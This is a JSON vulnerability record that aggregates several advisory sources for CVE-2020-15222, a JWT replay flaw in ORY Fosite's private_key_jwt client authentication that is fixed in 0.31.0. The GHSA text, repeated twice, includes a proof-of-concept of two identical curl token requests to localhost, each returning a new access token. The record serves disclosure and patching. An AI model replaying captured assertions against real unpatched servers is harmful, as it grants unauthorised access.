{"id":"CVE-2020-15222","aliases":["EUVD-2021-1195","GHSA-v3q9-2p3m-7g43","GO-2021-0110"],"status":"published","title":"Replay of private_key_jwt possible in ORY Fosite","description":"In ORY Fosite (the security first OAuth2 \u0026 OpenID Connect framework for Go) before version 0.31.0, when using \"private_key_jwt\" authentication the uniqueness of the `jti` value is not checked. When using client authentication method \"private_key_jwt\", OpenId specification says the following about assertion `jti`: \"A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\". Hydra does not seem to check the uniqueness of this `jti` value. This problem is fixed in version 0.31.0.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00867,"percentile":0.592,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-287","CWE-345"],"published":"2020-09-24T16:15:52Z","modified":"2026-10-20T10:51:53Z","fixes":[{"ecosystem":"Go","package":"github.com/ory/fosite","fixed_in":["0.31.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/ory/fosite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/ory/fosite","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.31.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/ory/fosite","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.31.0"}]}]}],"products":[{"vendor":"ory","product":"fosite"}],"references":[{"url":"https://github.com/ory/fosite/security/advisories/GHSA-v3q9-2p3m-7g43","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://github.com/ory/fosite/commit/0c9e0f6d654913ad57c507dd9a36631e1858a3e9","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-15222","tags":["advisory"]},{"url":"https://github.com/ory/fosite/releases/tag/v0.31.0","tags":["web"]},{"url":"https://pkg.go.dev/vuln/GO-2021-0110","tags":["web"]},{"url":"https://github.com/advisories/GHSA-v3q9-2p3m-7g43"},{"url":"https://github.com/ory/fosite","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2020-15222","title":"Replay of private_key_jwt possible in ORY Fosite","description":"In ORY Fosite (the security first OAuth2 \u0026 OpenID Connect framework for Go) before version 0.31.0, when using \"private_key_jwt\" authentication the uniqueness of the `jti` value is not checked. When using client authentication method \"private_key_jwt\", OpenId specification says the following about assertion `jti`: \"A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\". Hydra does not seem to check the uniqueness of this `jti` value. This problem is fixed in version 0.31.0.","status":"published","published":"2020-09-24T16:15:52Z","modified":"2024-08-04T13:08:22.899Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:35:49.879248Z"}],"euvd":[{"id":"EUVD-2021-1195","description":"In ORY Fosite (the security first OAuth2 \u0026 OpenID Connect framework for Go) before version 0.31.0, when using \"private_key_jwt\" authentication the uniqueness of the `jti` value is not checked. When using client authentication method \"private_key_jwt\", OpenId specification says the following about assertion `jti`: \"A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\". Hydra does not seem to check the uniqueness of this `jti` value. This problem is fixed in version 0.31.0.","status":"published","published":"2020-09-24T16:15:52Z","modified":"2024-08-04T13:08:22Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T03:07:32.55679Z"}],"ghsa":[{"id":"GHSA-v3q9-2p3m-7g43","title":"Token reuse in Ory fosite","description":"### Impact\n\nWhen using client authentication method \"private_key_jwt\" [[1]](https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication), OpenId specification says the following about assertion `jti`:\n\n\u003e A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\n\nHydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:\n\n```\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}⏎\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}\n```\n\n### Patches\n\nThis issue is patched in 0.31.0.\n\n### Workarounds\n\nDo not allow clients to use `private_key_jwt`.\n\n### References\n\nhttps://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication","status":"published","published":"2021-05-24T16:57:52Z","modified":"2023-08-29T23:07:24Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-287","CWE-345"],"updated_at":"2026-11-02T14:37:02.095916Z"}],"nvd":[{"id":"CVE-2020-15222","description":"In ORY Fosite (the security first OAuth2 \u0026 OpenID Connect framework for Go) before version 0.31.0, when using \"private_key_jwt\" authentication the uniqueness of the `jti` value is not checked. When using client authentication method \"private_key_jwt\", OpenId specification says the following about assertion `jti`: \"A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\". Hydra does not seem to check the uniqueness of this `jti` value. This problem is fixed in version 0.31.0.","status":"published","published":"2020-09-24T17:15:13.117Z","modified":"2026-06-17T02:56:17.993Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"primary"},{"version":"2.0","score":5.8,"vector":"AV:N/AC:M/Au:N/C:P/I:P/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-287","CWE-345"],"updated_at":"2026-11-02T14:06:15.83396Z"}],"osv":[{"id":"CVE-2020-15222","description":"In ORY Fosite (the security first OAuth2 \u0026 OpenID Connect framework for Go) before version 0.31.0, when using \"private_key_jwt\" authentication the uniqueness of the `jti` value is not checked. When using client authentication method \"private_key_jwt\", OpenId specification says the following about assertion `jti`: \"A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\". Hydra does not seem to check the uniqueness of this `jti` value. This problem is fixed in version 0.31.0.","status":"published","published":"2020-09-24T17:15:13.117Z","modified":"2026-10-20T10:51:53.321331723Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:44:14.828228Z"},{"id":"GHSA-v3q9-2p3m-7g43","title":"Token reuse in Ory fosite","description":"### Impact\n\nWhen using client authentication method \"private_key_jwt\" [[1]](https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication), OpenId specification says the following about assertion `jti`:\n\n\u003e A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties\n\nHydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:\n\n```\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}⏎\n$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \\\n   --header 'Content-Type: application/x-www-form-urlencoded' \\\n   --data-urlencode 'grant_type=client_credentials' \\\n   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \\\n   --data-urlencode 'scope=application openid' \\\n   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \\\n   --data-urlencode 'client_assertion=eyJhb [...] jTw'\n{\"access_token\":\"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4\",\"expires_in\":3599,\"scope\":\"application openid\",\"token_type\":\"bearer\"}\n```\n\n### Patches\n\nThis issue is patched in 0.31.0.\n\n### Workarounds\n\nDo not allow clients to use `private_key_jwt`.\n\n### References\n\nhttps://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication","status":"published","published":"2021-05-24T16:57:52Z","modified":"2026-07-08T06:29:01.430297048Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-287","CWE-345"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"GO-2021-0110","title":"Token reuse in github.com/ory/fosite","description":"Uniqueness of JWT IDs (jti) are not checked, allowing the JWT to be replayed.","status":"published","published":"2021-07-28T18:08:05Z","modified":"2024-05-20T16:03:47Z","updated_at":"2026-11-02T15:47:00.604718Z"}]}}
